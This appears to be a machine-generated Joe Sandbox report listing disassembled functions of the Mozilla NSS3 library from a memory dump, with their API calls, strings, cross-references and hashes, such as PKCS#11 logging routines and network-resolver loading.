security, xrefs: 6C728EE7

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: dc4d4e0f0c35b75d25849241c25edc30ea5b26e7c11d39ff73d3ade0490be6a2
Instruction ID: 194e0d5217fe56da844d0dcc9b9dd839832f09b370105110f491f328bf84d6f6
Opcode Fuzzy Hash: dc4d4e0f0c35b75d25849241c25edc30ea5b26e7c11d39ff73d3ade0490be6a2
Instruction Fuzzy Hash: 6B5159B2908300ABD7209A54DF49BAB73E8AF8575CF44083EF95597B40E73AD908C763

Function 6C754E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C754E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C754EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C754EC7

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C754EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C754F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C754F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C754F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C754F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C754F68

Strings

ulCount = %d, xrefs: 6C754F63
hObject = 0x%x, xrefs: 6C754EF5, 6C754F05
C_GetAttributeValue, xrefs: 6C754E7E
pTemplate = 0x%p, xrefs: 6C754F4A
(CK_INVALID_HANDLE), xrefs: 6C754EC0, 6C754F13
hSession = 0x%x, xrefs: 6C754EA2, 6C754EB2

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: 54c2a2ef1733e228cac742f1df066daea68ee878f088f5779e91fb71d2bafb71
Instruction ID: 67933c15e881de7adff0a0419ca1bb2653105b0830245fa8f8519c0f19adf7a2
Opcode Fuzzy Hash: 54c2a2ef1733e228cac742f1df066daea68ee878f088f5779e91fb71d2bafb71
Instruction Fuzzy Hash: 8D41E335602118ABDB209B58DF8CF9E77B9AB4330DF498434E80857B52DB35A928DBD1

Function 6C754CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C754CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C754D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C754D37

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C754D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C754D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C754D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C754DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C754DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C754E20

Strings

*pulSize = 0x%x, xrefs: 6C754E1B
hObject = 0x%x, xrefs: 6C754D65, 6C754D75
C_GetObjectSize, xrefs: 6C754CEE
(CK_INVALID_HANDLE), xrefs: 6C754D30, 6C754D83
pulSize = 0x%p, xrefs: 6C754DB7
hSession = 0x%x, xrefs: 6C754D12, 6C754D22

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: e3e46cd6c133cac6a927b6cc159a8d8e7986c908e040cdc5b43f5e8842c89b22
Instruction ID: b2252c02d55d072c9c68cfaeeef30c91baa9db87d80f1de5349fd136e9872967
Opcode Fuzzy Hash: e3e46cd6c133cac6a927b6cc159a8d8e7986c908e040cdc5b43f5e8842c89b22
Instruction Fuzzy Hash: D541D735602214AFDB209B58DF8DB6A37B5AB4230DF458435E9085BB12DB34A838EBD1

Function 6C757C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6C757CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C757CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C757CF3

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C757D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C757D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C757D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C757D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C757D77

Strings

C_Verify, xrefs: 6C757CB1
pData = 0x%p, xrefs: 6C757D25
pSignature = 0x%p, xrefs: 6C757D59
(CK_INVALID_HANDLE), xrefs: 6C757CEC
ulDataLen = %d, xrefs: 6C757D40
hSession = 0x%x, xrefs: 6C757CCE, 6C757CDE
ulSignatureLen = %d, xrefs: 6C757D72

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: bec0b3ecb06c3703a73173c5b65d26689341ec5a9ea1d2005669f61ba31e64a3
Instruction ID: 46098ecd75fc58fa6b6b4e8323586930bba76320adceaeceaa464a15e7c45134
Opcode Fuzzy Hash: bec0b3ecb06c3703a73173c5b65d26689341ec5a9ea1d2005669f61ba31e64a3
Instruction Fuzzy Hash: 0731F635602254AFDB308B58DF4DF6A77B5AB4330DF898434E80857B12DB34A818CBD1

Function 6C752F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C752F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C752F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C752F63

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C752F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C752F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C752FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C752FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C752FE7

Strings

pNewPin = 0x%p, xrefs: 6C752FC9
(CK_INVALID_HANDLE), xrefs: 6C752F5C
C_SetPIN, xrefs: 6C752F21
ulNewLen = %d, xrefs: 6C752FE2
ulOldLen = %d, xrefs: 6C752FB0
hSession = 0x%x, xrefs: 6C752F3E, 6C752F4E
pOldPin = 0x%p, xrefs: 6C752F95

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: 9d6088dd7186097d88adf10be9c7a8ebd67947761fcffbe9700312179014d2a9
Instruction ID: 549db49f09d6007fdb83cc4b20ed50a735f6607745249e42e66e5c75a7c43d16
Opcode Fuzzy Hash: 9d6088dd7186097d88adf10be9c7a8ebd67947761fcffbe9700312179014d2a9
Instruction Fuzzy Hash: EB31E335602154AFDB209F58DF8CE5A3BB2AB4730DF894434E80867B12DB35A828DBD1

Function 6C75A9A0 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptMessageBegin), ref: 6C75A9C6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C75A9F4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C75AA03

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C75AA19
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C75AA3A
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C75AA55
PR_LogPrint.NSS3( pAssociatedData = 0x%p,?), ref: 6C75AA6E
PR_LogPrint.NSS3( ulAssociatedDataLen = 0x%p,?), ref: 6C75AA87

Strings

(CK_INVALID_HANDLE), xrefs: 6C75A9FC
pAssociatedData = 0x%p, xrefs: 6C75AA69
ulAssociatedDataLen = 0x%p, xrefs: 6C75AA82
ulParameterLen = 0x%p, xrefs: 6C75AA50
pParameter = 0x%p, xrefs: 6C75AA35
hSession = 0x%x, xrefs: 6C75A9DE, 6C75A9EE
C_DecryptMessageBegin, xrefs: 6C75A9C1

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pAssociatedData = 0x%p$ pParameter = 0x%p$ ulAssociatedDataLen = 0x%p$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptMessageBegin
API String ID: 1003633598-2188218412
Opcode ID: 11aeb8b80463838e86832636799e4a613608d9bdd17a0e0e5290d4e2033f3db9
Instruction ID: 25577436debcf6805cadccdbc16eb6ce7eba0ee38c574148602e207369b99a5c
Opcode Fuzzy Hash: 11aeb8b80463838e86832636799e4a613608d9bdd17a0e0e5290d4e2033f3db9
Instruction Fuzzy Hash: 8731B639602155AFDB20DB58DF8CAAE37B1BB4731DF458434E80857B12DB34A868DBE1

Function 6C7ECD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C7ECC7B), ref: 6C7ECD7A

Part of subcall function 6C7ECE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C75C1A8,?), ref: 6C7ECE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7ECDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7ECDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C7ECDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7ECD8E

Part of subcall function 6C7105C0: PR_EnterMonitor.NSS3 ref: 6C7105D1
Part of subcall function 6C7105C0: PR_ExitMonitor.NSS3 ref: 6C7105EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C7ECDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7ECDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7ECE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7ECE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C7ECE48

Strings

getaddrinfo, xrefs: 6C7ECD88, 6C7ECDF9
freeaddrinfo, xrefs: 6C7ECD9F, 6C7ECE10
wship6.dll, xrefs: 6C7ECDE3
getnameinfo, xrefs: 6C7ECDB2, 6C7ECE23
ws2_32.dll, xrefs: 6C7ECD75

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: fc5ce7e46b1c70bab56900c8a22ebdaacb83b8f75727b9085654085d56318fd3
Instruction ID: c7935412646aa786d428a6e101f24630ab2643b72575922907a2b212bb277799
Opcode Fuzzy Hash: fc5ce7e46b1c70bab56900c8a22ebdaacb83b8f75727b9085654085d56318fd3
Instruction Fuzzy Hash: 1611209AE1312056DB10E9392F099BA3D5C5B1714EF6C0934E415D5F05FF21C528C6F1

Function 6C831C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C8313BC,?,?,?,6C831193), ref: 6C831C6B
PR_NewLock.NSS3(?,6C831193), ref: 6C831C7E

Part of subcall function 6C7E98D0: calloc.MOZGLUE(00000001,00000084,6C710936,00000001,?,6C71102C), ref: 6C7E98E5

PR_NewCondVar.NSS3(00000000,?,6C831193), ref: 6C831C91

Part of subcall function 6C70BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C7121BC), ref: 6C70BB8C

PR_NewCondVar.NSS3(00000000,?,?,6C831193), ref: 6C831CA7

Part of subcall function 6C70BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C70BBEB
Part of subcall function 6C70BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C70BBFB
Part of subcall function 6C70BB80: GetLastError.KERNEL32 ref: 6C70BC03
Part of subcall function 6C70BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C70BC19
Part of subcall function 6C70BB80: free.MOZGLUE(00000000), ref: 6C70BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C831193), ref: 6C831CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C831193), ref: 6C831CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C831193), ref: 6C831CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C831193), ref: 6C831D1A

Part of subcall function 6C7E9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C711A48), ref: 6C7E9BB3
Part of subcall function 6C7E9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C711A48), ref: 6C7E9BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C831193), ref: 6C831D3D

Part of subcall function 6C7CDD70: TlsGetValue.KERNEL32 ref: 6C7CDD8C
Part of subcall function 6C7CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C831193), ref: 6C831D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C831193), ref: 6C831D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C831193), ref: 6C831D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C831193), ref: 6C831D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C831193), ref: 6C831D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C831193), ref: 6C831D93
PR_DestroyLock.NSS3(00000000,?,?,6C831193), ref: 6C831D9F
free.MOZGLUE(00000000,?,6C831193), ref: 6C831DA8

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: c924f40300540fe6bdfb7223f4f7e40b5a921e6e76558ad1fbbd076bc4c3f0fa
Instruction ID: 73bef7c9f8faa7a3cdba4f2054808053c28879d1e80b53494cde1f17720e0ba7
Opcode Fuzzy Hash: c924f40300540fe6bdfb7223f4f7e40b5a921e6e76558ad1fbbd076bc4c3f0fa
Instruction Fuzzy Hash: A631C6F1E017115BEB219F65AD49AA776E4AF0670DB044838E84A87F41FB31E518CBE2

Function 6C790C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,yl), ref: 6C790C81

Part of subcall function 6C77BE30: SECOID_FindOID_Util.NSS3(6C73311B,00000000,?,6C73311B,?), ref: 6C77BE44

Part of subcall function 6C768500: SECOID_GetAlgorithmTag_Util.NSS3(6C7695DC,00000000,00000000,00000000,?,6C7695DC,00000000,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C768517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C790CC4

Part of subcall function 6C77FAB0: free.MOZGLUE(?,-00000001,?,?,6C71F673,00000000,00000000), ref: 6C77FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C790CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C790D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C790D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C790D7D
free.MOZGLUE(00000000), ref: 6C790DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C790DC1
free.MOZGLUE(00000000), ref: 6C790DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C790E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C790E0F

Part of subcall function 6C7695C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C7695E0
Part of subcall function 6C7695C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C747F4A,00000000,?,00000000,00000000), ref: 6C7695F5
Part of subcall function 6C7695C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C769609
Part of subcall function 6C7695C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C76961D
Part of subcall function 6C7695C0: PK11_GetInternalSlot.NSS3 ref: 6C76970B
Part of subcall function 6C7695C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C769756
Part of subcall function 6C7695C0: PK11_GetIVLength.NSS3(?), ref: 6C769767
Part of subcall function 6C7695C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C76977E
Part of subcall function 6C7695C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C76978E

Strings

*,yl, xrefs: 6C790C69, 6C790DE0, 6C790C80, 6C790C8B, 6C790CAF
*,yl, xrefs: 6C790DCC
-$yl, xrefs: 6C790C64

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,yl$*,yl$-$yl
API String ID: 3136566230-517205904
Opcode ID: b23592795ed2acc2a00288670130e0fa3838b96b5783c123f6a8d7b9782c0305
Instruction ID: 7a1f63e0a57f18d4ef19d727aa38f8fecea53ec725abf1e29d260fe611890134
Opcode Fuzzy Hash: b23592795ed2acc2a00288670130e0fa3838b96b5783c123f6a8d7b9782c0305
Instruction Fuzzy Hash: B241D2B1901255ABEB009F65EE4ABAF7674AF0530CF104034ED1557752FB35AA18CBF2

Function 6C785CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C785EC0,00000000,?,?), ref: 6C785CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C785CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C785CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C785D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C785EC0,00000000,?,?), ref: 6C785D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C785D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C785D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C785D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C785D80

Strings

extern:, xrefs: 6C785CEA, 6C785D4B
dbm:, xrefs: 6C785D03, 6C785D60
sql:, xrefs: 6C785CD1, 6C785D36
NSS_DEFAULT_DB_TYPE, xrefs: 6C785D1A
multiaccess:, xrefs: 6C785CB8

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 404d9e7d83ea15474040e570be7afd7206fa87dc906fa8786f173ef5ca32d27d
Instruction ID: 1e9cf7eae3ea40b62ca8b8c1d08cae589dd0b0ec649604cf93e8353d4780f4a9
Opcode Fuzzy Hash: 404d9e7d83ea15474040e570be7afd7206fa87dc906fa8786f173ef5ca32d27d
Instruction Fuzzy Hash: B931E7A1643311ABFBA11E25EE8EF5A3768AF0235DF140430EF5697B82F661D901C2F5

Function 6C786CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C851DE0,?), ref: 6C786CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C786D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C786D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C786D82
DER_GetInteger_Util.NSS3(?), ref: 6C786DA2
